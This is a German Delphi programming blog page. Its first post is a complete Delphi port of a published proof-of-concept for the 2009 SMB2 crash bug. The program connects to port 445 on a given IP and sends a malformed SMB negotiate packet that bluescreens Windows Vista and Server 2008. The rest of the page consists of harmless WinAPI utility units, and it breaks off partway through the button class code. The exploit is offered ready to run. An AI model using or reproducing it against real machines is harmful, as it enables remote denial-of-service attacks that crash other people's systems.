gods4u.de » Delphi

SMB2 BSOD

Peter — Wed, 23 Sep 2009 16:22:25 +0000

Im September 2009 hat Laurent Gaffié einen “proof-of-concept” Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code:

smb2_poc.dpr:
program smb2_poc;


{$APPTYPE CONSOLE}
uses

WinSock,

windows;
var

WSAData    : TWSAData;

wVersion   : WORD;

s          : TSocket;

serverAddr : TSockAddrIn;

ret        : Integer;

nPort      : Integer = 445;

buff       : Array[0..147] of Byte =

($00,$00,$00,$90, // Begin SMB header: Session message

 $ff,$53,$4d,$42, // Server Component: SMB

 $72,$00,$00,$00, // Negociate Protocol

 $00,$18,$53,$c8, // Operation 0x18 & sub 0xc853

 $00,$26, // Process ID High: --> :) normal value should be "$00,$00"

 $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$fe,

$00,$00,$00,$00,$00,$6d,$00,$02,$50,$43,$20,$4e,$45,$54,

$57,$4f,$52,$4b,$20,$50,$52,$4f,$47,$52,$41,$4d,$20,$31,

$2e,$30,$00,$02,$4c,$41,$4e,$4d,$41,$4e,$31,$2e,$30,$00,

$02,$57,$69,$6e,$64,$6f,$77,$73,$20,$66,$6f,$72,$20,$57,

$6f,$72,$6b,$67,$72,$6f,$75,$70,$73,$20,$33,$2e,$31,$61,

$00,$02,$4c,$4d,$31,$2e,$32,$58,$30,$30,$32,$00,$02,$4c,

$41,$4e,$4d,$41,$4e,$32,$2e,$31,$00,$02,$4e,$54,$20,$4c,

$4d,$20,$30,$2e,$31,$32,$00,$02,$53,$4d,$42,$20,$32,$2e,

$30,$30,$32,$00);
function ErrorStr(ErrCode: Integer): String;

var

s   : String;

Len : Integer;

begin

Setlength(s, 260);

Len := Formatmessage(Format_Message_from_System, nil, ErrCode, 0, @s[1], length(s), nil);

Setlength(s, Len);

Result := s;

end;
function ExtractFileName(const Str: String): String;

var

tmpStr : String;

i      : Integer;

begin

tmpStr := Str;

i      := Pos('\', tmpStr);

while i > 0 do begin

tmpStr := Copy(tmpStr, i+1, Length(tmpStr) - i);

i      := Pos('\', tmpStr);

end;

Result := tmpStr;

end;
begin

wVersion := MAKEWORD(2, 2);

if (ParamCount < 1) then begin

WriteLn('Usage: ' + ExtractFileName(ParamStr(0)) + ' ');

Exit;

end;
ret := WSAStartup(wVersion, wsaData);

if (ret <> 0 ) then begin
WriteLn('WSAStartup failed ' + ErrorStr(ret));

Exit;

end;

try

s := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (s = INVALID_SOCKET) then begin

WriteLn('Socket failed with error ' + ErrorStr(WSAGetLastError()));

Exit;

end;
serverAddr.sin_family := AF_INET;

serverAddr.sin_addr.s_addr := inet_addr(PChar(ParamStr(1)));

serverAddr.sin_port := htons(nPort);
ret := Winsock.connect(s, serverAddr, sizeof(serverAddr));

if (ret = SOCKET_ERROR) then begin

WriteLn('Connection to server failed.');

closesocket(s);

Exit;

end;
send(s, buff, 148, 0);

finally

ret := WSACleanup();

if (ret = SOCKET_ERROR) then begin

WriteLn('WSACleanup failed with error ' + ErrorStr(WSAGetLastError()));

end;

end;

end.

X000X-ActiveX.pas

redaktion — Fri, 03 Apr 2009 09:50:38 +0000

Delphi source

Eine kleine Übersicht meiner bisherigen Delphi sourcen. Die alte Übersichtsseite ist noch online und steht hier:

delphi source

Gefallen Euch meine sourcen – freue ich mich über Eure Spende – Danke!

X000X-ActiveX.pas

Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier:

X000X-Btn.pas
X000X-SysUtils.pas
X000X-ActiveX.pas



unit X000XActiveX;

interface

uses Windows;

type
  OLE_HANDLE = LongWord;
  OLE_XPOS_HIMETRIC  = Longint;
  OLE_YPOS_HIMETRIC  = Longint;
  OLE_XSIZE_HIMETRIC = Longint;
  OLE_YSIZE_HIMETRIC = Longint;
  Largeint = Int64;
  POleStr = PWideChar;
  TIID = TGUID;
  TCLSID = TGUID;

  IStream = interface;

{ IStream interface }

  PStatStg = ^TStatStg;
  tagSTATSTG = record
    pwcsName: POleStr;
    dwType: Longint;
    cbSize: Largeint;
    mtime: TFileTime;
    ctime: TFileTime;
    atime: TFileTime;
    grfMode: Longint;
    grfLocksSupported: Longint;
    clsid: TCLSID;
    grfStateBits: Longint;
    reserved: Longint;
  end;
  TStatStg = tagSTATSTG;
  STATSTG = TStatStg;

  ISequentialStream = interface(IUnknown)
    ['{0c733a30-2a1c-11ce-ade5-00aa0044773d}']
    function Read(pv: Pointer; cb: Longint; pcbRead: PLongint): HResult;
      stdcall;
    function Write(pv: Pointer; cb: Longint; pcbWritten: PLongint): HResult;
      stdcall;
  end;

  IStream = interface(ISequentialStream)
    ['{0000000C-0000-0000-C000-000000000046}']
    function Seek(dlibMove: Largeint; dwOrigin: Longint;
      out libNewPosition: Largeint): HResult; stdcall;
    function SetSize(libNewSize: Largeint): HResult; stdcall;
    function CopyTo(stm: IStream; cb: Largeint; out cbRead: Largeint;
      out cbWritten: Largeint): HResult; stdcall;
    function Commit(grfCommitFlags: Longint): HResult; stdcall;
    function Revert: HResult; stdcall;
    function LockRegion(libOffset: Largeint; cb: Largeint;
      dwLockType: Longint): HResult; stdcall;
    function UnlockRegion(libOffset: Largeint; cb: Largeint;
      dwLockType: Longint): HResult; stdcall;
    function Stat(out statstg: TStatStg; grfStatFlag: Longint): HResult;
      stdcall;
    function Clone(out stm: IStream): HResult; stdcall;
  end;

type
  IPicture = interface
    ['{7BF80980-BF32-101A-8BBB-00AA00300CAB}']
    function get_Handle(out handle: OLE_HANDLE): HResult;  stdcall;
    function get_hPal(out handle: OLE_HANDLE): HResult; stdcall;
    function get_Type(out typ: Smallint): HResult; stdcall;
    function get_Width(out width: OLE_XSIZE_HIMETRIC): HResult; stdcall;
    function get_Height(out height: OLE_YSIZE_HIMETRIC): HResult; stdcall;
    function Render(dc: HDC; x, y, cx, cy: Longint;
      xSrc: OLE_XPOS_HIMETRIC; ySrc: OLE_YPOS_HIMETRIC;
      cxSrc: OLE_XSIZE_HIMETRIC; cySrc: OLE_YSIZE_HIMETRIC;
      const rcWBounds: TRect): HResult; stdcall;
    function set_hPal(hpal: OLE_HANDLE): HResult; stdcall;
    function get_CurDC(out dcOut: HDC): HResult; stdcall;
    function SelectPicture(dcIn: HDC; out hdcOut: HDC;
      out bmpOut: OLE_HANDLE): HResult; stdcall;
    function get_KeepOriginalFormat(out fkeep: BOOL): HResult; stdcall;
    function put_KeepOriginalFormat(fkeep: BOOL): HResult; stdcall;
    function PictureChanged: HResult; stdcall;
    function SaveAsFile(const stream: IStream; fSaveMemCopy: BOOL;
      out cbSize: Longint): HResult; stdcall;
    function get_Attributes(out dwAttr: Longint): HResult; stdcall;
  end;

type
   TFNCreateStreamOnHGlobalX = function(hglob: HGlobal; fDeleteOnRelease: BOOL;
                                        out stm: IStream): HResult; stdcall;
   TFNOleLoadPictureX        = function(stream: IStream; lSize: Longint; fRunmode: BOOL;
                                        const iid: TIID; out vObject): HResult; stdcall;

{function CreateStreamOnHGlobal(hglob: HGlobal; fDeleteOnRelease: BOOL;
  out stm: IStream): HResult; stdcall;
function OleLoadPicture(stream: IStream; lSize: Longint; fRunmode: BOOL;
  const iid: TIID; out vObject): HResult; stdcall;}

var
   CreateStreamOnHGlobalX : TFNCreateStreamOnHGlobalX = nil;
   OleLoadPictureX        : TFNOleLoadPictureX = nil;

   function LoadPictureFromFile(AFile: String; var pPicture: IPicture) : Boolean;
   function LoadPictureFromRes(Instance: THandle; const szResName, szResType : String; var pPicture: IPicture) : Boolean;

implementation

const
   OLE32    = 'ole32.dll';
   OLEPRO32 = 'olepro32.dll';

var LibOle32,
    LibOlePro32 : HMODULE;

function LoadX000XActiveX: Boolean;
begin
   Result := False;
   LibOle32 := LoadLibrary(@OLE32[1]);
   if LibOle32 <> 0 then begin
      LibOlePro32 := LoadLibrary(@OLEPRO32[1]);
      if LibOlePro32 <> 0 then begin
         CreateStreamOnHGlobalX := GetProcAddress(LibOle32, PChar('CreateStreamOnHGlobal'));
         OleLoadPictureX        := GetProcAddress(LibOlePro32, PChar('OleLoadPicture'));
         if Assigned(CreateStreamOnHGlobalX) And
            Assigned(OleLoadPictureX) then begin
            Result := True;
            Exit;
         end else begin
            CreateStreamOnHGlobalX := nil;
            OleLoadPictureX := nil;
            FreeLibrary(LibOle32);
            FreeLibrary(LibOlePro32);
         end;
      end else
         FreeLibrary(LibOle32);
   end;
end;

procedure UnloadX000XActiveX;
begin
   CreateStreamOnHGlobalX := nil;
   OleLoadPictureX := nil;
   FreeLibrary(LibOle32);
   FreeLibrary(LibOlePro32);
end;

(* Funktion l�dt ein Bild von der HDD in eine Variable vom Typ IPicture (X000XActiveX.pas) *)
function LoadPictureFromFile(AFile: String; var pPicture: IPicture) : Boolean;
const IID_IPicture : TGUID = '{7BF80980-BF32-101A-8BBB-00AA00300CAB}';
var
   hFile, hMem : THandle;
   dwFileSize,
   dwBytesRead : DWord;
   pData       : Pointer;
   bRead       : Boolean;
   hRes        : HResult;
   pStream     : IStream;
Begin
   Result := False;
   if LoadX000XActiveX then begin
      hMem   := 0;
      (* Datei �ffnen *)
      hFile  := CreateFile(PChar(AFile), GENERIC_READ, 0, nil,  OPEN_EXISTING, 0, 0);
      if hFile = INVALID_HANDLE_VALUE then Exit;
      (* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)
      try
         (* Dateigr��e holen *)
         dwFileSize := GetFileSize(hFile, nil);
         if dwFileSize = INVALID_FILE_SIZE then
            Exit;
         (* "Dateigr��e" an Bytes vom Heap anfordern *)
         hMem := GlobalAlloc(GHND or GMEM_NODISCARD, dwFileSize);
         if hMem = 0 then
            Exit;
         (* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)
         pData := GlobalLock(hMem);
         if Not Assigned(pData) then
            Exit;
         (* Datei in den Speicher lesen *)
         (* Dateigr��e und gelesene Bytes sollten hiernach �bereinstimmen *)
         bRead := ReadFile(hFile, pData^ , dwFileSize, dwBytesRead, nil);
         GlobalUnlock(hMem);
         if not bRead then
            Exit;
         (* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)
         pStream := nil;
         hRes := CreateStreamOnHGlobalX(hMem, False, pStream);
         if FAILED(hRes) or (pStream = nil) then
            Exit;
         (* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)
         hRes := OleLoadPictureX(pStream, dwFileSize, False, IID_IPicture, pPicture);
         if (hRes = S_OK) and (pPicture <> nil) then
            Result := True;
         (* StreamObjekt zerst�ren *)
         pStream := nil;
      finally
         (* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)
         (* auf jedenfall wieder frei geben *)
         if hMem <> 0 then
            GlobalFree(hMem);
         (* und zu guterletzt die Datei wieder schlie�en *)
         CloseHandle(hFile);
         UnloadX000XActiveX;
      end;
   end;
End;

function LoadPictureFromRes(Instance: THandle; const szResName, szResType : String; var pPicture: IPicture) : Boolean;
const IID_IPicture : TGUID = '{7BF80980-BF32-101A-8BBB-00AA00300CAB}';
var
   hResInfo,
   hResGlobal,
   hMem : THandle;
   dwFileSize  : DWord;
   pData,
   pResData    : Pointer;
   hRes        : HResult;
   pStream     : IStream;
Begin
   Result := False;
   if LoadX000XActiveX then begin
      hMem   := 0;
      (* Resource suchen und wenn vorhanden... *)
      hResInfo := FindResource(Instance, Pointer(szResName), Pointer(szResType));
      if hResInfo = 0 then Exit;
      (* ... laden *)
      hResGlobal := LoadResource(Instance, hResInfo);
      if hResGlobal = 0 then Exit;
      (* Sollte was schief laufen, steigen wir mit exit aus, aufger�umt wird im Finally Block *)
      try
         (* Handle auf die Daten holen *)
         pResData := LockResource(hResGlobal);
         if Not Assigned(pResData) then Exit;
         (* Gr��e der Resource in Bytes holen *)
         dwFileSize := SizeofResource(Instance, hResInfo);
         if dwFileSize = 0 then Exit;
         (* "Dateigr��e" an Bytes vom Heap anfordern *)
         hMem := GlobalAlloc(GHND or GMEM_NODISCARD, dwFileSize);
         if hMem = 0 then
            Exit;
         (* Einen Zeiger auf den soeben angeforderten Speicherblock holen *)
         pData := GlobalLock(hMem);
         if Not Assigned(pData) then
            Exit;
         (* Daten in den Speicher lesen *)
         Move(pResData^, pData^, dwFileSize);
         GlobalUnlock(hMem);
         (* Ein StreamObject erstellen (wir geben den HeapSpeicher selber frei - 2. Parameter) *)
         pStream := nil;
         hRes := CreateStreamOnHGlobalX(hMem, False, pStream);
         if FAILED(hRes) or (pStream = nil) then
            Exit;
         (* Das Picture in die Variable pPicture (IPicture) laden und bei Erfolg True zur�ckgeben *)
         hRes := OleLoadPictureX(pStream, dwFileSize, False, IID_IPicture, pPicture);
         if (hRes = S_OK) and (pPicture <> nil) then
            Result := True;
         (* StreamObjekt zerst�ren *)
         pStream := nil;
      finally
         (* Wenn wir vorhin erfolgreich Speicher angefordert haben, ihn hier *)
         (* auf jedenfall wieder frei geben *)
         if hMem <> 0 then
            GlobalFree(hMem);
         (* und zu guterletzt die Resource freigeben *)
         if hResGlobal <> 0 then
            FreeResource(hResGlobal);
         UnloadX000XActiveX;
      end;
   end;
End;

end.

Gefallen Euch meine sourcen – freue ich mich über Eure Spende – Danke!

X000X-SysUtils.pas

redaktion — Fri, 03 Apr 2009 09:49:04 +0000

X000X-SysUtils.pas

Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier:

X000XBtn.pas
X000XSysUtils.pas
X000XActiveX.pas



unit X000XSysUtils;

interface

Uses Windows;

   procedure ShowMessage(const szMessage: String);
   function FileExists(const szFileName: String): Boolean;
   procedure WriteDebug(const szStr: String; const Param : Boolean);
   function UpperCase(const s: String): String;
   function LowerCase(const s: String): String;
   function IntToStr(const i: Int64): string;
   function Format(fmt: string; params: array of const): string;
   procedure FreeAndNil(var Obj);

implementation

procedure ShowMessage(const szMessage: String);
begin
   MessageBox(0, Pointer(szMessage), 'InfoBox', 0);
end;

function FileExists(const szFileName: String): Boolean;
var
   Handle   : THandle;
   FindData : TWin32FindData;
begin
   Handle   := FindFirstFile(Pointer(szFileName),FindData);
   Result   := (Handle <> INVALID_HANDLE_VALUE);

   if(Result) then Windows.FindClose(Handle);
end;

procedure WriteDebug(const szStr: String; const Param : Boolean);
var
   F    : TextFile;
   Attr : DWord;
const FName = 'debug.txt';
begin
   if Param then begin
      AssignFile(F, FName);
      Attr := GetFileAttributes(FName);
      if ((Attr and FILE_ATTRIBUTE_DIRECTORY	) = FILE_ATTRIBUTE_DIRECTORY) and
         Not ((Attr = $FFFFFFFF)) then
         Exit;
      if (Attr = $FFFFFFFF) then
         ReWrite(F)
      else
         Append(F);
      WriteLn(F, IntToStr(GetTickCount div 1000) + ': ' + szStr);
      Flush(F);
      CloseFile(F);
   end;
end;

function UpperCase(const s: String): String;
var i : Integer;
begin
   Result := '';

   if(length(s) > 0) then begin
      SetLength(Result,length(s));
      for i := 1 to length(s) do
         Result[i] := UpCase(s[i]);
   end;
end;

function LowerCase(const s: String): String;
var i : Integer;
begin
   Result := '';

   if(length(s) > 0) then begin
      SetLength(Result,length(s));
      for i := 1 to length(s) do
         case s[i] of
            'A'..'Z','�','�','�':
               Result[i] := CHR(BYTE(s[i]) + 32);
         else
            Result[i] := s[i];
         end;
   end;
end;

function IntToStr(const i: Int64): string;
var
  Negativ : Boolean;
  Dummy   : Int64;
begin
   Result := '';
   Dummy  := i;
   if Dummy = 0 then
      Result := '0';
   Negativ := Dummy < 0;
   if Negativ then
      Dummy := -Dummy;
   while Dummy > 0 do
   begin
      Result := Char((Dummy mod 10) + Integer('0')) + Result;
      Dummy := Dummy div 10;
   end;
   if Negativ then
      Result := '-' + Result;
end;

function Format(fmt: string; params: array of const): string;
var
   pdw1, pdw2: PDWORD;
   i: integer;
   pc: PCHAR;
begin
   pdw1 := nil;
   if length(params) > 0 then
      GetMem(pdw1, length(params) * sizeof(Pointer));
   pdw2 := pdw1;
   for i := 0 to high(params) do begin
      pdw2^ := DWORD(PDWORD(@params[i])^);
      inc(pdw2);
   end;
   GetMem(pc, 1024 - 1);
   try
      SetString(Result, pc, wvsprintf(pc, PCHAR(fmt), PCHAR(pdw1)));
   except
      Result := '';
   end;
   if (pdw1 <> nil) then
      FreeMem(pdw1);
   if (pc <> nil) then
      FreeMem(pc);
end;

procedure FreeAndNil(var Obj);
var
  Temp: TObject;
begin
  Temp := TObject(Obj);
  Pointer(Obj) := nil;
  Temp.Free;
end;

end.

Gefallen Euch meine sourcen – freue ich mich über Eure Spende – Danke!

X000X-Btn.pas

redaktion — Fri, 03 Apr 2009 09:47:37 +0000

X000X-Btn.pas

Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier:

X000XBtn.pas
X000XSysUtils.pas
X000XActiveX.pas

(*******************************************************************************
*
* Unit: X000XBtn.pas
* Author: (c) 2004, 2005 – Peter Welz
* Mail: delphi[at]gods4u[dot]de
* Web : delphi.gods4u.de
*
* Information: Diese Unit stellt in WinAPI Programmen eine Button-Klasse zur
* Verf�gung.
* Hilfreich beim Entwickeln von kleineren Tools, die ohne die
* VCL von Borland geschrieben werden, da sich Funktionen einfach
* dem OnClick Ereignis zuweisen lassen.
*
* History:
*******************************************************************************
* Author: Peter Welz
* 2005-08-29: Ein Jpeg kann jetzt aus einer Datei bzw. aus einer Resource
* geladen werden.
* Kleine �nderung an X000XActiveX – hMem in funktionen LoadPicture…
* wird jetzt nicht mehr �ber CreateStreamOnHGlobalX freigegeben,
* sondern es wird im finally block erledigt
* Der MemDC wird jetzt auch wieder freigegeben -
* Doppelte Funktionsaufrufe in den funktionen *JpegResource* und
* *JpegFromFile* habe ich zusammnengefasst
* Kommentar: Um ein Jpeg aus einer Datei zu laden, einfach Property
* Jpeg := ‘filename.jpg’ setzen. Pfadangaben sind notwendig ;o)
* Um ein Jpeg aus einer Resource zu laden, muss die Resource
* vom Typ ‘JPEGDATA’ sein und dem Property Jpeg muss der Name
* der Resource zugeordnet werden z.B.: Jpeg := ‘BILD’;
* TODO: – TabOrder
* – Der “Klick” gef�llt mir noch nicht (bei schnellen Mausklicks
* wirkt der Klick verz�gert)
* – OnMouseOver
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
*******************************************************************************
* weitere Infos am Ende der Unit
*******************************************************************************)

unit X000XBtn;

{.$DEFINE ATOM}

interface

uses Windows, Messages, X000XActiveX;

const
DEBUG = (1=0);

type
TNotifyEvent = procedure(Sender: TObject) of object;

{$IFNDEF ATOM}

{$MESSAGE ‘ATOM ist nicht definiert. Self-Pointer wird im Fenster gespeichert! ‘}

(****************************************************************************)
(* Ich hatte zuerst folgendes implementiert, dann aber irgenwo im Internet *)
(* gelesen, dass es umst�ndlich/nicht richtig ist, sowas im Fenster mit ab- *)
(* zuspeichern. Dort wurde empfohlen, es mit GlobalAddAtom zu l�sen. *)
(* *)
(* Ich habe jetzt beide M�glichkeiten eingebaut, es kann mit Hilfe der *)
(* $DEFINE ATOM Directive zwischen den beiden Methoden ausgew�hlt werden *)
(* *)
(* Die Idee war folgende: *)
(* Ich kann zu jedem Window einen 32-Bit Wert mit abspeichern, der mitge- *)
(* f�hrt wird. (GWL_USERDATA) *)
(* Da ich f�r das Subclassing (WndProc) eine Referenz auf mein Object *)
(* brauchte, habe ich mir gedacht, ich speicher im Fenster (GWL_USERDATA) *)
(* einfach einen Pointer auf eine Datenstruktur ab. Diese Datenstruktur *)
(* enth�lt wiederum Zeiger auf evtl. Objecteigenschaften, oder �hnliches… *)
(* *)
(* Wie an diese Daten kommen? *)
(* PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self *)
(* Wie diesen Zeiger im Fenster speichern? *)
(* SetWindowLong(hWnd, GWL_USERDATA, Integer(PWinProperty-Struct)); *)
(****************************************************************************)

type
PWinProperty = ^TWinProperty;
TWinProperty = packed Record
Self : Pointer;
//OldWndProc : Pointer;
(* hier eventuell noch mehr Pointer auf Daten/Propertys *)
(* die mit dem Object mitgef�hrt werden sollen… *)
end;
{$ENDIF}

type
TBtnState = (bsUp, bsDown);

type
TX000XBtn = class

private
{$IFNDEF ATOM}
FWinProp : PWinProperty;
{$ENDIF}
FCaption : String;
FHandle : THandle;
FOwner : THandle;
FName : String;
FLeft : Integer;
FTop : Integer;
FWidth : Integer;
FHeight : Integer;
FOnClick : TNotifyEvent;
FBtnState : TBtnState;
FTabStop : Boolean;
FOldWndProc : Pointer;
FIsFocused : Boolean;
FColor : COLORREF;
FdcMemory : HDC;
FJpeg : String;
FFont : HFONT;
FFontName : String;
FFontColor : COLORREF;
FFontSize : Integer;
function GetWidth: Integer;
function GetHeight: Integer;
procedure SetCaption(const Value: String);
procedure SetWidth(const Value: Integer);
procedure SetHeight(const Value: Integer);
function GetTabStop: Boolean;
procedure SetTabStop(const Value: Boolean);
procedure ButtonDraw(ps : PPaintStruct = nil);
procedure WndProc(var Msg: TMessage);
procedure SetColor(const Value: COLORREF);
function SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;
procedure SetupMemDC;
procedure DrawFromMemDC(var pPic: IPicture);
procedure _SetMemDCFromFile(const JpegFileName: String);
procedure _SetMemDCFromRes(const szResName: String);
procedure SetMemDCFromX(const szName: String);
procedure SetFontName(const Value: String);
procedure SetFontColor(const Value: COLORREF);
public
constructor Create(hWndParent: THandle; Position: TPoint);
destructor Destroy; override;
function SetNotifyEvent(Proc: Pointer): TNotifyEvent;
published
property Handle : THandle read FHandle;
property Width : Integer read GetWidth write SetWidth;
property Height : Integer read GetHeight write SetHeight;
property Name : String read FName write FName;
property Caption : String read FCaption write SetCaption;
property OnClick : TNotifyEvent read FOnClick write FOnClick;
property TabStop : Boolean read GetTabStop write SetTabStop;
property Color : COLORREF read FColor write SetColor;
property Jpeg : String read FJpeg write SetMemDCFromX;
property FontColor: COLORREF read FFontColor write SetFontColor;
property FontName : String read FFontName write SetFontName;
end;

{$IFDEF ATOM}
var
FAtom : TAtom;
{$ENDIF}

const
CWIDTH = 100;
CHEIGHT = 27;

implementation

{ TX000XBtn }

uses X000XSysUtils;

type
PFontNameExists = ^TFontNameExists;
TFontNameExists = packed record
Name : String;
Exists : Boolean;
end;

(* function f�r SubClassen des Buttons. Hiermit werden die Nachrichten an das *)
(* Object weitergeleitet. *)
function SetWndProc(hWnd: hWnd; Msg: UINT; wParam: wParam; lParam: lParam): lResult; stdcall;
var
mMsg : TMessage;
Self : TX000XBtn;
begin
(* Parameter in die Message schreiben *)
mMsg.Msg := Msg;
mMsg.wParam := wParam;
mMsg.lParam := lParam;
mMsg.Result := 0;
(* Wir brauchen den Self-Pointer des Objectes, damit wir die Nachrichten an*)
(* selbiges weiterleiten k�nnen. *)
Self := TX000XBtn({$IFDEF ATOM}
GetProp(hWnd, PChar(FAtom))
{$ELSE}
PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self
{$ENDIF});
(* Und die Nachricht/en an die WndProc des Objectes weiterleiten. *)
Self.WndProc(mMsg);
(* Die WndProc des Objectes setzt das Result, welches wir einfach zur�ck- *)
(* geben. *)
Result := mMsg.Result;
end;

procedure TX000XBtn.WndProc(var Msg: TMessage);
var
ps : TPaintStruct;
dMsg : TMsg;
function InRect: Boolean;
var re : TRect;
pt : TPoint;
begin
pt.X := Msg.LParamLo;
pt.Y := Msg.LParamHi;
GetClientRect(FHandle, re);
Result := ptInRect(re, pt);
end;
begin
(* Result erstmal auf 0 setzen, somit braucht beim behandeln der Nachricht *)
(* nur noch ein Exit mitgegeben werden *)
Msg.Result := 0;
case Msg.Msg of
WM_LBUTTONDOWN:
begin
(* Einmal die Message SETFOCUS rausschicken, damit die anderen *)
(* Buttons auch richtig gezeichnet werden k�nnen *)
SetFocus(FHandle);
(* Alle Mausenachrichten empfangen, auch wenn die Maus nicht *)
(* mehr �ber unserem Control ist. Ist hier n�tig, da wir sonst *)
(* nicht mitbekommen, wenn die Maus losgelassen wird und sich *)
(* nicht mehr �ber unserem Control befindet. *)
SetCapture(FHandle);
(* Nur wenn Maus noch im Bereich des Buttons ist, den Click merken *)
if InRect then begin
FBtnState := bsDown;
//ButtonPaint;
ButtonDraw;
end;
Exit;
end;
WM_MOUSEMOVE:
begin
(* ToDo: andere Farbe zeichnen… OnMouseOver Effekt *)
end;
WM_LBUTTONUP:
begin
(* Nur wenn Maus noch im Bereich des Buttons ist, ist es ein Click *)
if InRect then begin
if Assigned(Self.FOnClick) then begin
FOnClick(Self);
end;
end;
(* Hier auf jedenfall den Click wieder zur�cksetzen, damit die *)
(* Nachrichten wieder an die jeweiligen Controls geschickt werden *)
FBtnState := bsUp;
//ButtonPaint;
ButtonDraw;
(* Und die Maus wieder freigeben, jetzt empfangen elle Controls *)
(* wieder die entsprechenden Nachrichten *)
ReleaseCapture;
Exit;
end;
WM_PAINT:
begin
(* Button zeichnen *)
BeginPaint(FHandle, ps);
(* ToDo: PaintStruct mit �bergeben, somit m�sste nicht das gesamte *)
(* Fenster neu gezeichnet werden *)
ButtonDraw(@ps);
EndPaint(FHandle, ps);
Exit;
end;
WM_KEYDOWN:
begin
if Msg.WParam = 32 then begin
SendMessage(FHandle, WM_LBUTTONDOWN, 0, 0);
Exit;
end;
end;
WM_KEYUP:
begin
if Msg.WParam = 32 then begin
SendMessage(FHandle, WM_LBUTTONUP, 0, 0);
Exit;
end;
end;
WM_SETFOCUS:
begin
FIsFocused := True;
//ButtonPaint;
ButtonDraw;
(* MsgBeep entfernen *)
PeekMessage(dMsg, 0, WM_CHAR, WM_CHAR, PM_REMOVE);
Exit;
end;
WM_KILLFOCUS:
begin
FIsFocused := False;
//ButtonPaint;
ButtonDraw;
Exit;
end;
end;
(* Nachricht an das Hauptfenster zur�ckgeben *)
Msg.Result := CallWindowProc(FOldWndProc, FHandle, Msg.Msg, Msg.WParam, Msg.LParam);
end;

(* Hilfsfunktion, die eine Struktur vom Type TMethod f�llt und zur�ckliefert *)
(* Wird gebraucht, um externe funktionen/proceduren an ein Object �bergeben *)
(* zu k�nnen. (Geh�rt nicht zwingend zu der Klasse) *)
function TX000XBtn.SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;
var Method : TMethod;
begin
Method.Code := Value;
if Assigned(Data) then
Method.Data := Data
else
Method.Data := Self;
Result := Method;
end;

(* Hilfsfunktion, die eine externe function/procedure vom Type TNotifyEvent *)
(* einem Klasseninternen property vom gleichen Type zuweist. *)
(*******************************************************************************
(* Beispiel: *
* *
* procedure Test(Sender: Pointer); *
* begin *
* MessageBox(0, PChar(TX000XBtn(Sender).Caption), ‘Test’, 0); *
* end; *
* *
* // .. *
* *
* Button3 := TX000XBtn.Create(hWnd, Position); *
* Button3.OnClick := Button3.SetNotifyEvent(@Test); *
* *
* // .. *
* *
*******************************************************************************)
function TX000XBtn.SetNotifyEvent(Proc: Pointer): TNotifyEvent;
begin
Result := nil;
if Assigned(Proc) then
Result := TNotifyEvent(SetMethod(Proc));
end;

(* Zeichnet den Button *)
procedure TX000XBtn.ButtonDraw(ps : PPaintStruct = nil);
type
PHDC = ^HDC;
var
Brush : HBRUSH;
dc : PHDC;
cRect : PRect;
begin
(* Initialisieren *)
dc := nil;
cRect := nil;
try
(* Wenn ps <> nil dann benutzen wir HDC und Rect von der �bergebenen *)
(* PaintStruct *)
if Assigned(ps) then begin
cRect := @ps^.rcPaint;
dc := @ps^.hdc;
end else begin
(* Wenn ps = nil dann die Vars erzeugen und Zeiger zuweisen *)
New(dc); New(cRect);
(* und display device context vom Button holen *)
dc^ := GetDC(FHandle);
end;

(* cRect mit Abmessungen vom Button f�llen *)
GetClientRect(FHandle, cRect^);
(* Brush mit Farbe FColor erzeugen *)
Brush := CreateSolidBrush(FColor);
(* F�lle Button mit FColor *)
FillRect(dc^, cRect^, Brush);
(* zum Schluss Freigeben der Resourcen *)
DeleteObject(Brush);
if FJpeg <> ” then begin
(* Kopiere das Bitmap vom Speicher auf den Button (mit Gr��enanpassung) *)
if FBtnState = bsDown then
StretchBlt(dc^, 5, 5, cRect^.Right-10, cRect^.Bottom-10, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY)
else
StretchBlt(dc^, 3, 3, cRect^.Right-6, cRect^.Bottom-6, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY);
end;

(* Button gedr�ckt bzw. oben… dementsprechend die R�nder zeichen *)
if FBtnState = bsDown then
DrawEdge(dc^, cRect^, EDGE_SUNKEN, BF_RECT)
else
DrawEdge(dc^, cRect^, EDGE_RAISED, BF_RECT );

(* Um bei die Textausgabe auch zu animieren, hier das Rechteck versetzen *)
if FBtnState = bsDown then begin
cRect^.Left := -2;
cRect^.Top := -2;
cRect^.Right := cRect^.Right – 2;
cRect^.Bottom := cRect^.Bottom – 2;
end;

(* Textausgabe *)
SelectObject(dc^, FFont);
SetBKMode(dc^, {OPAQUE}TRANSPARENT);
SetTextAlign(dc^, TA_CENTER);
SetTextColor(dc^, FFontColor);
TextOut(dc^, cRect^.Right div 2, cRect^.Top + 6, Pointer(Self.Caption), Length(Self.Caption));

(* FocusRect zeichnen, wenn Button den Focus besitzt *)
if FIsFocused then begin
if FBtnState = bsDown then begin
cRect^.Left := -1;
cRect^.Top := -1;
InflateRect(cRect^, -4, -4);
DrawFocusRect(dc^, cRect^);
end else begin
cRect^.Right := cRect^.Right +1;
cRect^.Bottom := cRect^.Bottom +1;
InflateRect(cRect^, -5, -5);
DrawFocusRect(dc^, cRect^);
end;
end;
finally
